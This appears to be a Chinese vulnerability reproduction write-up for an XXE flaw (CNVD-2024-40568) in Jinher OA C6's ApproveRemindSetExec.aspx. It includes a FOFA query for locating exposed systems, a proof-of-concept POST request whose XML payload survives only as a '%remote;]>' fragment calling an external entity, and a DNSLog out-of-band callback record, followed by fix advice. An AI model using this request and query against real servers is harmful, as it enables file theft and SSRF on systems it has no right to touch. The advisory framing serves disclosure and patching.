

金和OA C6 ApproveRemindSetExec.aspx XXE漏洞复现(CNVD-2024-40568)

漏洞描述

金和OA ApproveRemindSetExec.aspx 接口处存在XML实体注入漏洞，攻击者可利用xxe漏洞获取服务器敏感数据，可读取任意文件以及ssrf攻击，存在一定的安全隐患。

影响版本

金和OA

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="金和网络-金和OA"

POC/EXP:

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0

Accept-Encoding: gzip, deflate

Accept: /

Connection: close

Content-Type: application/xml

%remote;]>



DNSLog

WebLog

API

Rebind

Payloads

t09c879f

退出

域名

搜索

子域名: t09c879f.eyes.sh

☒ 监视刷新

ID	域名	Type	IP	Count	位置	时间	操作
74630607	t09c879f.eyes.sh	A				2024-10-28 16:34:19	删除

Previous

1

Next

第1页 / 共1页, 共1条记录

删除所有记录

修复方案

官方已修复该漏洞，请用户联系厂商修复漏洞：<http://www.jinher.com/>

部署Web应用防火墙，对数据库操作进行监控。

如非必要，禁止公网访问该系统。